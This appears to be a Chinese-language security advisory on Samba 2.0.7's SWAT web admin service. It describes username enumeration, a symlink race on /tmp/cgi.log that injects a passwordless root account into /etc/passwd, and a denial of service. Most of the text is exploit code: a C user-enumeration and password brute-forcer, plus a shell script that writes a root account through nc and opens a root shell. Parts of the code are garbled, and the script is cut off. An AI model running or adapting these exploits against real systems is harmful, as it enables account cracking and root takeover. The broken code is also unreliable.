受影响的版本:
Samba 2.0.7
不受影响的版本:
Samba 2.0.9
漏洞描述:
swat是Samba 2.0以上服务器中包含的一个服务进程,它使管理员可以通过 web 界面对samba服务器进行配置管理.在Samba 2.0.7的swat服务中存在多个漏洞, 严重危害到系统安全.
(1)可能泄漏系统用户名和密码. 当用户登录到swat页面时,swat会提示用户输入用户名和密码.当用户输入错误 的用户名时,swat会给出信息: 401 Bad Authorization username/password must be supplied 但是当用户输入正确的用户名但密码错误时,swat将会挂起两秒,然后返回信息: 401 Authorization Required You must be authenticated to use this service. 这样攻击者通过对swat返回的不同消息,可以获得系统中的用户名,从而可以进 一步获取该用户的密码,由于swat却省情况下没有打开日志功能,因此攻击过程 不会被纪录;如果swat打开了日志功能的话,将直接导致漏洞2的发生. ( 测试代码一 )
(2)本地用户权限提升 swat默认情况下没有启用日志功能.如果启用了日志功能,swat没有检查日志文 件是否已经存在,就覆盖写入来自客户端用户的任意输入内容,这样本地的恶意 用户可以通过临时文件的竞争改写系统中的重要文件. 示例: webmaster@isbase.combash2.02$ ln -s /etc/passwd /tmp/cgi.log #首先建立一个连接 webmaster@isbase.combash2.02$ telnet localhost 901 #然后登录到901(swat)端口:
toor::0:0::/:/bin/bash #输入如上内容,切断连接 ctrl^]:quit webmaster@isbase.combash2.02$ cat /etc/passwd #查看/etc/passwd文件
[Date: Mon, 31 Oct 2000 22:19:58 GMT localhost.localdomain (127.0.0.1)] toor::0:0::/:/bin/bash
webmaster@isbase.combash2.02$ su
恶意用户将获得root权限。 ( 测试程序二 )
(3)拒绝服务攻击 在登录时输入不正确的URL,例如 hostname:901?badfile 提供不正确的用户名和口令, swat将提示: Authentication Required 然后inetd将重启swat.如果系统使用netscape浏览器,netscape将立即重试url,最终导 致inetd关闭swat服务很长一段时间.
测试方法:(以下的程序或方法可能具有攻击性,如用于非法用途,后果自负!)
---------------------------* swat_test1.c *---------------------------------- #include stdio.h #include netdb.h #include stdlib.h #include string.h #include sys/socket.h #include sys/types.h #include netinet/in.h #include arpa/inet.h #include signal.h #include errno.h #include fcntl.h
#define SWAT_PORT 901 #define MAX_NAME_SIZE 16 #define MAX_PASS_SIZE 16 #define CHECK_PASSWORD "centerfield" #define USER_AGENT "super-hyper-alpha-pickle-2000"
struct VALID_NAMES { char *name; struct VALID_NAMES *next; };
struct VALID_NAMES *add_to_names(struct VALID_NAMES *list, char *name) { list-name=(char *)malloc(MAX_NAME_SIZE); memcpy(list-name, name, MAX_NAME_SIZE); list-next=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list=list-next; memset(list, 0, sizeof(struct VALID_NAMES)); return(list); }
void chop(char *str) { int x;
for(x=0;str[x]!=;x++) if(str[x]== ) { str[x]=; return; } return; }
char *base64_encode(char *str) { char *b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
int x, y; unsigned char *output;
output=(char *)malloc(strlen(str)*2); memset(output, 0, strlen(str)*2);
for(x=0, y=0;x 2;
output[y+1] = str[x] 2; output[y+1] = output[y+1] | (str[x+1] 4);
output[y+2] = str[x+1] 2; output[y+2] = output[y+2] | (str[x+2] 6);
output[y+3] = str[x+2] 2; }
if(strlen(str)%3 == 1) { output[y]=str[x] 2; output[y+1]=str[x] 2; output[y+2]=64; output[y+3]=64; }
if(strlen(str)%3 == 2) { output[y]=str[x] 2; output[y+1]=str[x] 2; output[y+1]=output[y+1] | (str[x+1] 4); output[y+2]=str[x+1] 2; output[y+3]=64; }
for(x=0 ; output[x] != 0 ; x++) output[x] = b64[output[x]];
output[x+1]=; return(output); }
int check_user(char *name, char *pass, struct hostent *he) { char buf[8192]=""; char buf2[1024]=""; int s; struct sockaddr_in s_addr;
memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2));
s_addr.sin_family = PF_INET; s_addr.sin_port = htons(SWAT_PORT); memcpy((char *) &s_addr.sin_addr, (char *) he-h_addr, sizeof(s_addr.sin_addr));
if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(stderr, "cannot create socket "); exit(-1); }
if(connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr))==-1) { fprintf(stderr, "cannot connect "); exit(-1); }
chop(name); chop(pass); sprintf(buf2, "%s:%s", name, pass); sprintf(buf, "GET / HTTP/1.0 " "Connection: Keep-Alive " "User-Agent: %s " "Authorization: Basic %s ", USER_AGENT, base64_encode(buf2));
if(send(s, buf, strlen(buf), 0)
memset(buf, 0, sizeof(buf)); if(recv(s, buf, sizeof(buf), 0)
buf[sizeof(buf)]=;
if(strstr(buf, "HTTP/1.0 401 Authorization Required") != NULL) { close(s); return 1; } else if(strstr(buf, "HTTP/1.0 401 Bad Authorization") != NULL) { close(s); return 0; } else if(strstr(buf, "HTTP/1.0 200 OK") != NULL) { close(s); return 2; } else { printf("Unknown result: %s ", buf); exit(1); } }
void usage(void) { printf(" Usage: flyswatter [-a] -t target -n namefile -p passwordfile "); printf(" -a: Do not verify that users exist. "); exit(1); }
int main(int argc, char** argv) { int x, y, z;
int s; char buf[MAX_NAME_SIZE]=""; FILE *pfile, *nfile; struct hostent *he; struct VALID_NAMES *valid_names; struct VALID_NAMES *list_walk;
int tryall=0; char target[1024]=""; char namefile[512]=""; char passwordfile[512]="";
valid_names=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list_walk=valid_names; memset(valid_names, 0, sizeof(struct VALID_NAMES));
if(argc
for(x=1;x if(strncmp(target, "", sizeof(target))==0) { fprintf(stderr, "Must specify target "); exit(1); }
if(strncmp(namefile, "", sizeof(target))==0) { fprintf(stderr, "Must specify namefile "); exit(1); }
if((nfile=fopen(namefile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", namefile); exit(1); }
if(strcmp(passwordfile, "")!=0) if((pfile=fopen(passwordfile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", passwordfile); exit(1); }
printf(" "); if(tryall==1) printf("-Not verifying usenames "); printf("-Namefile: %s ", namefile); printf("-Passwordfile: %s ", passwordfile); printf("-Target: %s ", target);
if((he=gethostbyname(target)) == NULL) { fprintf(stderr, " *Invalid target "); usage(); }
if(tryall==0) while(fgets(buf, sizeof(buf), nfile)) { chop(buf); if(check_user(buf, CHECK_PASSWORD, he) == 1) { printf("User "%s" exists! ", buf); list_walk=add_to_names(list_walk, buf); } } else while(fgets(buf, sizeof(buf), nfile)) { chop(buf); list_walk=add_to_names(list_walk, buf); }
if(strcmp(passwordfile, "")==0) { exit(0); printf("Finished. "); }
while(valid_names-next != 0) { fseek(pfile, 0, SEEK_SET); while(fgets(buf, sizeof(buf), pfile)!=NULL) { if(check_user(valid_names-name, buf, he)==2) printf("valid username/password: %s:%s ", valid_names-name, buf); } valid_names=valid_names-next; }
printf("Finished. "); exit(0); }
------------------------------* swat_test2.sh---------------------------------- #!/bin/sh # swat for samba 2.0.7 compiled with cgi logging exploit # discovered by miah miah@uberhax0r.net # exploit by optyx optyx@uberhax0r.net if [ -f /tmp/cgi.log ]; then if [ `rm -f /tmp/cgi.log` ]; then echo "/tmp/cgi.log exists and cannot be deleted" exit fi fi echo "backing up /etc/passwd" cp -pd /etc/passwd /tmp/.bak touch -r /etc/passwd /tmp/.bak ln -s /etc/passwd /tmp/cgi.log echo "connecting to swat" echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash "| nc -w 1 localhost swat if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then echo "exploit failed" rm /tmp/.bak rm /tmp/cgi.log exit fi su -l